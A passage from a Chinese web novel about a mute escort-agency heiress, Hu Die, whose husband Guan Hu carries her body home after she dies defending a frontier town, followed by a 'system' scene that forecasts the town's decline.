胡蝶是一个哑巴,但是在与关护相处的过程中,她这位丈夫向来沉默寡言,安静得有时候让她恍惚着错认,他才是那个哑巴吗?
随着马匹疾步狂奔,沿途画面越发熟悉,她脑海中记忆也越来越多,是了,他是关护,在他被带回胡家之后,关护就总时不时出现在她身边。
年岁渐长,他待在她身边的时日也越来越长,胡蝶从不需要关护的感激,而关护又实在太闷,若不是他总默默跟着,她也挺烦这样不会看眼色的人。
到后来,胡蝶习惯了也难得赶他回去,说实话,胡蝶是个很好的主子,她的母亲因难产早逝,父亲同母亲感情极深,这么些年即便只有她一个女儿,也从未动过续弦的念头,让她成为了边城最让人羡慕的大小姐。
她身边所有人都真心喜欢她,她也从不计较小事。
胡父担忧女儿的未来,看着老实可靠的关护在胡蝶身边伴着长大,想着青梅竹马,又类于家生子,朝夕相处,家中长辈健在,若是水到渠成他也不敢对她不好,也就纵容了他们的相处。
一切似乎都是那么顺理成章,除了……关护并不这么觉得。
他心里始终藏着自己的主意,可身边总有那么多张嘴,急哄哄地替他说出他根本不愿说的话。
于是镖局里就好像除了蝴蝶以外,又多了一个不言不语的哑巴。
胡蝶寡淡无味地缩回手,撑着脸颊叹息,或许这是一场梦?不然,她怎么会看见他难过成这般模样?
成婚这么多年,她从未在他脸上见过如此剧烈的情绪。
他对她……难道真的存有爱情?
这可把胡蝶愁坏了,她以前怎么感觉不到呢?
难道是她们之间牵扯太深了,远不是简单一句情爱能说清的?
要知道关护签的是死契,白纸黑字卖给了胡家,她对他,从来就握有绝对的掌控权,他不敢表露心思也是正常的。
胡蝶开始思索,他这个哑口不言的哑巴侍从什么时候开始惦记她的?
这个问题若是抛给关护,关护也不清楚,他刚进镖局,就被扔进了少年营。那里全是半大不小的少年,日常除了练功就是干活,虽然累但是也落得轻松。
唯独他,因为是胡蝶亲自挑回来的,反而额外吃了不少苦头。
教头给他加练,休息时他还得去陪胡蝶读书习字。
功夫要是因此没练踏实,就被拎去跟着跟镖。
每回走镖胡蝶护了他,回去他的训练量就又厚一叠,苦得他几乎说不出话。
可胡家手握他的卖身契,行事再怎么霸道任性也无妨,他只能越来越沉默,全都忍下来。
也正因如此,关护比同批的人都更早出师,正式成了镖师。
之后那几年,他凭真本事一步步往上走,在大镖头和少镖头之下,几乎没人会驳他的话。
可哪怕如此,所有人都觉得胡蝶一定会嫁给他,他一定会做胡家的女婿,接手这镇远镖局,因嫉生恨,处处排挤他。
37. 第三十七章 胡蝶2
胡父去世,他与胡蝶成亲,反而落实了这些人的暗箭。
他沉默着给自己安排了最多、最难的镖局路线,常年不在边城。两年后,关护说的话比胡蝶的吩咐还管用了。
时间的改变是巨大的,与在边城时不同,在关内走镖的时候,胡蝶被勒令不许显得太出众,特别是成婚之后,与人打交道的事早都由他代劳。
谁叫他们的少镖头不但是个姑娘,还是个哑巴呢?不是人人都懂得手语的。
胡蝶思索了半天也没想明白,但就她自己而言,她并没想要与关护成亲。在胡父去世之前,胡蝶从没往那儿想过。
她没法想象自己会跟关护这种闷葫芦过一辈子,哪怕离经叛道,她依旧觉得两个人处不到一块去。
更何况,胡蝶并没觉得关护有多喜欢自己,她在他眼睛里看不见自己的影子。
关护觉得她麻烦、娇惯,满脑子都是他吃不消的古怪念头。
他在镖局那么拼,有一部分原因,就是为了躲她。
她一直拿关护当弟弟看待,护着他的次数太多了。在她眼中,他似乎始终是那个瘦津津、沉默寡言又固执的少年。
对于一个孩子,行事光明、性情飒爽的胡蝶,怎么可能对他生出男女之情?
可是父命难为,他在临死前做了指婚的决定,她为了胡家的稳定,只能作出牺牲。
她曾以为自己还有选择的机会,如今回头去想,一切竟已那么遥远。
但总之,除了她们两个以外,似乎所有人都认定了她们该在一起。
哪怕他们常叹着气说,可惜啊,胡蝶是个哑的。
胡蝶只是天生出不了声而已,她并不比别人差些什么,众人却总因此对她格外怜惜、格外宽容。
她是被整个漠风镇的人们宠着长大的。眼见着各种不好的猜测冒出来,人心浮动,边城镇子的乱象眼看就要起来。恐慌于局势变动的时候,她这个少镖主有责任站出来,带领所有人走下去。她也听到有人在背后议论她,她说不出话,却动得了手,让他们都吃不了兜着走。
胡蝶是骄傲的,她从小拼命抬头挺胸,要把最好的一面给所有人看,证明自己从不输旁人,绝不承认自己少了什么。
而就是这样的胡蝶,在十六岁那年父亲突然遇害之后,不得不低下了头。
那一天,她失去了能为她遮风挡雨的父亲,也失去了父亲留下的、那些原本可信赖的人。期待的目光沉甸甸压在她肩上,让她变得更沉静、更坚韧,却也再不能像从前那样打打杀杀、奔走镖路了。
她选择安抚他们的心,与关护成亲。成婚的前两年她还走镖,第三年起就放下绝对的指挥权,留驻在边城打理后勤,为镖局做路线规划,掌管财务。
胡蝶连忙摇头,把思绪晃回来。想远了,她目光再次落在关护身上,看着他风驰在黄石砖上。
关护和她成婚后见面的次数骤减,他总是离开边城,越走越远,一年也回不了一两次。
自她不走镖后,两人见面的次数,两只手都数得过来。
她到死也没写信叫他回来,他怎么这个时间突然来了?
她预想过他或许会在她死后赶回,只是没料到这么快,快到她的血液都还是热的,尸体还是暖的。
也叫她难免遗憾,那么近,只差一刻,她就能活下来。
原来,她或许可以活下来。
但是这种遗憾并没有在胡蝶脸上停留太久,不过只是一瞬间,她又恢复到散漫洒脱的模样。
她早就知道自己会有这么一天,她活不到寿终正寝,就这样也还不错,总归是为了保护漠风镇的人死去的。
冥冥中怎样也逃不过,就像是她与关护这段姻缘,终究难圆满。
胡蝶回望自己这一生,她并无遗憾,想做的都做了,能帮的人都帮了。
她在婚后在边城这五年,用心安置边城镇上的老老少少,让他们除了成为打手、奴仆之外,还能有别的出路。
胡蝶是个热热闹闹的性子,这些年除了给镖局培养新血,也收养了几个孩子。
那些有被扔掉的,有被卖掉的,也有扔在她门口、一看就活不长的娃儿,她都一一捡了回去扔院里养着。
她费尽心思从镖局弄来外地秘方,从关内请来百工教他们手艺、算账、养驼,帮他们在边城不是只能依靠镖局和商队的补给过活,能够把自己种出来的东西卖出去。
如今靠着漠沙河那条接近干枯的泪河旁,胡杨已然成群,土木房也成片建立,新打了好几个水井,遮光渠也长长一条储水,葡萄与蜜瓜藤蔓爬在外围,内里是连绵的药田。
一切都在变好。
在胡蝶死前一天,在丝绸路上,繁荣边城已经如同一颗即将升空的灼眼星星,指日可待。
边城并非只能有黄沙与强盗,这里也可以成为一片绿洲。
没有人愿过穷苦的生活,一切都很好,除了带来这一切的这个人,已经死了。
沿途所有看到关护与他怀中红衣尸体的人都明白发生了什么,沿路的哭声越来越大,此起彼伏。
每一个路人的身上都是血,在边城没有一个人畏惧战斗,所有人都拿起了武器。
她们战斗到了最后一刻,可是她们最珍贵的宝物在战场结束的前一刻,死了。
她死得如此意外。
那些蛮夷,怎么会突然打过来?
她怎么会死去?
……
青山的掌心浮现出一颗蓝色小球,目前除了因女主死去而产生的那一道裂缝之外,看不出任何异样。
“到目前为止,我没看出这个世界哪里需要拯救。”青山指尖轻点小球,“你弄错了吗?”
系统被点得心惊胆战,留恋又惋惜地注视着小球如今的模样,“只是…到目前为止都很好,但再等两个月,边城就彻底乱了。”
系统播放了预测的时间线,一条,两条,三条……
无一例外,如今刚有起色的边城最终都会随着镖局的离去而荒芜,只留下边城守备在此苦候,水区药田无人维护,逐渐被沙漠掩盖,再也不见以往的喧哗与人烟。
边城,成了一座荒废的镇子,随着房子的坍塌,战线回撤,再不见人影。
“在胡蝶死后的两个月后,关护会带领镖局离开边城,而另娶一房妻子。”<
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p>青山看着播放的剧情,淡淡勾起唇角。
系统道,“关护说什么新来的只是平妻。他心里永远留着胡蝶的位置。”
系统使劲转着圈,耳朵一抖一抖的,“但是这样是不是说这个男主很专情?胡蝶死了那么多年,他一直记得她的忌日,每年都会带着孩子去祭拜她,每年都会给胡蝶好多香火,还有牌位呢。”
青山望着剧情中,后院妻妾相处融洽的模样,微微侧头,不言不语。
人类?感情?怎么会有人在感情上能争得过一个死人?
专情吗?多情吗?因他这一份执念,他的后院里少了争执,所有的决定都对他有利。
青山将目光挪开,回到如今,此刻的关护正狼狈地抱着胡蝶的尸体往胡家赶,他在一片嘶喊与马蹄声中跌跌撞撞。
青山笑道,“胡蝶死了,那胡家怎么办?”
系统耳朵抖了抖,大声道,“那当然是男主的了!”
……
他如今慌乱得还不知道自己今后会拥有什么,他只是觉得整座城仿佛被血色笼罩,鼻尖只有铁锈与焦土的气味弥漫不散。
关护口中紧咬着牙关,弥漫着一股血腥气,他才刚读完胡蝶写来的信,甚至连提笔回信都还没来得及。那个能收他回信的人,已经不在了。
轻飘飘的白色忽然从天空落下,沾上他温热的皮肤,最终化作了冰冷的水,那水在他的眼睛下,看起来像是泪那样。
好冷,今年边城的第一场雪,终于到了。
这边城的雪似乎是被人们的眼泪哭下来的,她们冲出去寻找自己的亲人、拥拥嚷嚷地往前挤,只有关护一个人逆着人流往城内走。因此他格外显眼。
半晌,他终于走到了目的地,胡家的人不得不看向他,看向他怀中抱着的胡蝶。
胡家坐拥一大片庞大的院落群,平时什么时候不是热闹的?
她们很久没有像此刻这样安静过。
可是她们又不得不安静地承认这个残酷的现实,胡蝶死了。
而此时此刻,这个曾为她们撑起一片天的胡蝶,死去了。
胡蝶怎么会不在了呢?
怎么能不在?
她不在了,胡家对她们的让利还在吗?
边城的土地是荒芜的,而此刻的胡家人,心也死了,像不会说话的哑巴,面目呆滞地望着关护抱着胡蝶的尸体擦肩而过。
或许是某种不明的预感告诉她们,胡家的最后一个人不在了,胡家,也就名存实亡了。
谁敢想?没人敢想。
似乎只要试想一下,恐惧就会迫不及待地袭来。
可悲伤依旧无处不在,侵袭着她们。
更多的人从城外回来了,活着的笑了,死去的让人哭得更大声。一时间悲喜交织,此起彼伏。
胡家院落的大门朝外敞着,风卷着沙尘一阵阵灌入院内。
关护沉默地与她们擦身而过,一步步走向胡家祠堂。
他僵立在祠堂中央,身影被烛火拉得忽明忽暗。
过了好半晌,才有人像是蓦然醒转,麻木地挪步,将早已备好的那口棺材抬出来,一遍遍擦拭干净。